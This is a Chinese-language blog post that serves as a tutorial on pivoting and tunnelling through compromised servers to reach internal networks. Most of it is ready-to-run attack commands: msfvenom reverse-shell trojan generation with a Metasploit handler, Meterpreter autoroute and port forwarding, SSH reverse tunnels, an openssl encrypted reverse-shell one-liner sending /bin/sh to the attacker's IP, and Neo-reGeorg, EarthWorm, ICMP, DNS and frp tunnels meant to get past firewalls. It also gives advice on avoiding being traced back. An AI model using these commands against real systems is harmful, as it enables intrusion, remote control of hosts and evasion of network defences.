3.代理和隧道技术
pivoting跳板攻击和自动路由
黑客(192.168.223.131) ——(192.168.223.180)server1(172.16.214.129)——(172.16.214.128)Server2
pivoting跳板攻击
把入侵主机当作路由器,利用被入侵主机作为跳板,攻击内网其他主机
生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.223.131 lport=4444 -a x86 --platform windows -b "\x00\xff" -e x86/shikata_ga_nai -f exe > msf.exe
开启HTTP服务
python -m SimpleHTTPServer 1234
开启控制端
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 4444
set lhost 192.168.223.131
exploit
此时目标连接内外网的服务器访问网站下载并运行后上线,退出返回到msf
run get_local_subnets //搜集子网信息
run autoroute -s 172.16.214.0/24 //运行自动路由并添加静态路由0/24网段
run autoroute -p //查看是否添加成功
run post/windows/gather/arp_scanner RHOST=172.16.214.0/24 //扫描0/24网段
//将任务放入后台,使用sock代理,本地10044端口设置代理可以嫁接到自动路由上
use auxiliary/server/socks_proxy
set srchost 127.0.0.1
set srvport 10044
version 4a
//添加规则,使用proxychains时流量都往这走
nano /etc/proxychains4.conf
//在ProxyList中添加规则
socks4 127.0.0.1 10044
//验证是否成功,启动后访问内网网站
proxychains firefox
//利用代理使用nmap
proxychains nmap -sT -Pn 172.16.214.128
端口转发和映射
黑客(192.168.223.131) ——(192.168.223.180)server1(172.16.214.129)——(172.16.214.128)Server2
端口映射
//进入目标跳板机的session
portfwd flush //清空记录
//将172.16.214.128的80端口的流量转发到黑客的2020端口上
portfwd add -L 192.168.223.131 -l 2020 -p 80 -r 172.16.214.128
//访问自己的2020端口相当于访问对方的80端口
192.168.223.131:2020
端口转发
portfwd flush //添加规则前先清空记录
//将目标的3389端口连接到黑客的5555端口上
portfwd add -l 5555 -p 3389 -r 172.16.214.128
//黑客通过访问自己的5555端口相当于对目标的3389进行连接
rdesktop 127.0.0.1:5555
此时kali如果部署在公网,本机通过连接kali的5555端口,通过跳板机相当于连接到内网目标机的3389端口,以此达到外网访问内网数据的目的
SSH隧道
黑客(192.168.223.131) ——(192.168.1.185)server1(172.16.214.142)——(172.16.214.134)Server2,假设中间人已经被攻陷,内网服务器有http服务
SSH正向隧道
ssh -CNfL 0.0.0.0:7777:172.16.214.134:80 root@127.0.0.1
把自己(中间人)的7777端口和内网的80端口使用ssh进行映射,此时黑客访问中间人的7777端口就可以访问到内网服务器的网站
SSH反向隧道
法一:
中间人
//把自己的22号端口映射到黑客的2222端口
ssh -qTfnN -R 2222:127.0.0.1:22 root@192.168.223.131
黑客kali端
ssh -p 2222 root@127.0.0.1
此时黑客连接到自己的2222端口就可以连接中间人的22号端口
通过2222访问中间人的22号端口,获得中间人权限以它的名义访问内网服务器
curl http://172.16.214.134
法二:
//将内网的80端口映射到黑客的2223端口
ssh -qTfnN -R 2223:172.16.214.134:80 root@192.168.223.131
反向连接输入的是黑客的密码,最好给一个权限很小的用户,否则实战中会反向溯源到黑客并被控制自己的服务器
此时黑客访问自己的2223相当于访问内网服务器的80端口
127.0.0.1:2223
本地socks5代理
在攻击机直接对中间人发起ssh请求,利用它作为代理浏览到内网
//用kali的7070端口连接中间人服务器,黑客访问7070端口相当于socks5代理
ssh -qTfnN -D 7070 root@192.168.1.185
第一次使用会输入服务器的密码,目标服务器开了一个socks5代理映射到本机的7070端口
火狐设置代理
//SOCKS v5
127.0.0.1:7070
此时可以访问内网服务器
SSH本地转发访问
内网HTTP服务
//在kali上设置,以中间人身份将内网服务器的80端口转发到kali本地的6667端口
ssh -L 0.0.0.0:6667:172.16.214.134:80 root@192.168.1.185 -fN
之后输入中间人密码,但是实战中未必是root权限
MySQL服务对外开放
//在kali上设置,以中间人身份将内网服务器的3306端口转发到kali本地的3307端口
ssh -L 0.0.0.0:3307:172.16.214.134:3306 root@192.168.1.185 -fN
连接mysql
mysql -h127.0.0.1 -p3307 -u[用户名] -p[密码]
如果断开连接就是
ps aux | grep ssh
找到进程然后kill掉,就没有转发了
SSH远程转发访问
属于反向连接,有利于绕过防火墙,此时默认拿下Server1和Server2,但是Server2里面有更深的网络,中间又有防火墙
Server1
//修改SSH配置
nano /etc/ssh/sshd_config
添加 GatewayPorts yes,使得远程转发之后,将127.0.0.1改成0.0.0.0,此时指定端口就可以访问目标主机
systemctl restart ssh
Server2
//对中间人的8877端口用server2的内网IP和端口@中间人的外网IP
ssh -R 8877:172.16.214.134:80 root@192.168.1.185
kali
curl 192.168.1.185:8877
此时如果把Server2的22号端口放在server1的外网端口上,也可以以此对Server2进行二次控制
openssl反弹加密
黑客(192.168.223.131) ——(192.168.1.185)server1(172.16.214.142)——(172.16.214.134)Server2,假设中间人已经被攻陷,内网服务器有http服务
适用情况:没有nc且其他软件不加密情况
黑客kali
ssl生成自签名证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
监听端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
目标机
mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [黑客IP]:8080 > /tmp/s;rm /tmp/s
使用netsh进行msf的代理
黑客(192.168.223.131) ——(192.168.223.180)server1(172.16.214.129)——172.16.214.128)Server2
适用情况:Server2在内网无法连接外网,因为两者无路由,在中间人做netsh进行转发,让Server2的木马找Server1的端口,再通过Server1找到黑客
操作
生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.214.129 lport=4455 -f exe > muma.exe
进行监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.223.131
set lport 4455
exploit
将生成的木马程序发送到Server2并执行,同时在Server1上设置转发
netsh interface portproxy add v4tov4 listenport=4455 connectaddress=192.168.223.131 connectport=4455
neo-regeorg代理
黑客(192.168.223.131) —(192.168.223.180)server1(172.16.214.129)—(172.16.214.128)Server2
下载neo-regreg
//解压
unzip Neo-reGeorg-master.zip
cd Neo-reGeorg-master
//设置密码
python neoreg.py generate -k mima123
//根据服务器网站类型使用不同的脚本
法一:网页方法
通过文件上传等方法将文件放在目标服务器上
python neoreg.py -k mima123 -u http://192.168.223.180/tunnel.php
此时获得socks5的代理端口和IP,通过设置代理连接至Server2
法二:kali的proxychains4
nano /etc/proxychains4.conf
//在[ProxyList]添加
socks5 127.0.0.1 1080
//使用代理进行nmap扫描
proxychains nmap -sT -Pn 172.16.214.128 -p 80
earthworm代理
正向代理
server1,根据不同目标使用不同代理,上传至目标服务器后运行
ew_for_Win.exe -s ssocksd -l 8888
黑客
nano /etc/proxychains
socks5 192.168.223.180 8888 //中间人外网IP
//用代理直接访问火狐
proxychains firefox
//代理进行nmap扫描
proxychains nmap -sT -Pn 172.168.214.141 -p 80
反向代理
假如Server2有更深的内网
Server1
//如果Server2对Server1的1024端口产生通信,将内容转发到1080端口
ew -s rcsocks -l 1080 -e 1024
Server2
//把Server2的流量通过Server1的1024端口进行代理
ew -s rssocks -d 172.16.214.129 -e 1024
黑客
nano /etc/proxychains4.conf
socks5 192.168.223.180 1080
proxychains nmap -sT 172.16.214.128 -p 80
icmp隧道
黑客(192.168.223.131) —(192.168.1.185)server1(172.16.214.142)—(172.16.214.128)Server2
适用情况:黑客可以ping通目标,但是无法建立tcp连接;黑客可以和server1,server1可以和server2
Server1(必须是Linux)
apt install ptunnel
//设置ptunnel密码
ptunnel -x 1234
黑客
//通过中间人IP访问目标80端口,并输入到本地的8080端口,密码是1234
ptunnel -p 192.168.1.185 -lp 8080 -da 172.16.214.128 -dp 80 -x 1234
之后访问本地的8080端口即可访问,流量都是icmp流量
dns隧道
原理和适用情况:大部分防火墙以及IPS,IDS不会过滤dns流量;黑客可以访问中间人,中间人只能和目标dns通信dns2tcpd
dns2tcpd参数
-F 强制在后台运行,默认在后台
-i 监听IP,默认0.0.0.0
-f 配置文件
-d debug级别
dns2tcpc参数
-c 启用压缩
-z 指定使用域名
-d 调试级别(1,2,3)
-r 访问目标资源
-f 配置文件路径
-l 本地监听端口
-T DNS请求类型,默认TXT
Server1
apt install dns2tcp
nano /etc/dns2tcpd.conf
listen = 0.0.0.0
user = root //修改用户名为root
key = haha123 //添加密码
domain = dns.xxx.com //网站域名
//启动tcp隧道
dns2tcpd -f /etc/dns2tcpd.conf -F -d 3
//如果出现问题停止掉重新来
systemctl stop systemd-resolved
黑客
打开公网vps的udp53号端口打开,出入都打开;将域名的A记录指向Server1的IP
apt install dns2tcp
//访问本地8888端口相当于中间人22号端口
dns2tcpc -r ssh -k haha123 -z dns.xxx.com 192.168.1.185 -l 8888 -c -d 3
//ssh连接并输入密码
ssh -p 8888 127.0.0.1
frp内网穿透
黑客(192.168.223.131) —(192.168.1.185)server1(172.16.214.142)—(172.16.214.128)Server2
server1 = frp server
server2 = frp client
根据不同的版本,分别下载frp放到对应服务器
Server1(Linux)
nano frps.ini //服务端frps.ini配置
bind_port = 7000 //7000端口提供frp服务
token = haha123 //设置密码
//启动frp服务端
chmod +x frps.ini
./frps -c frps.ini
Server2(Windows)
//客户端frpc.ini配置
[common]
server_addr = 172.16.214.142 //中间人IP
server_port = 7000
[web] //修改服务类型为web类型
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 6080 //将80端口流量转发到Server1的6080端口
//启动frp的客户端
frpc.exe -c frpc.ini
此时黑客直接访问Server1的6080端口即可访问Server2的80端口
frp其他作用:两个内网的桥梁、转发3389
[web] //修改服务类型为3389连接
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 3388
//修改后重启,此时连接Server1的3388端口即可远程连接Server2
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/16188120.html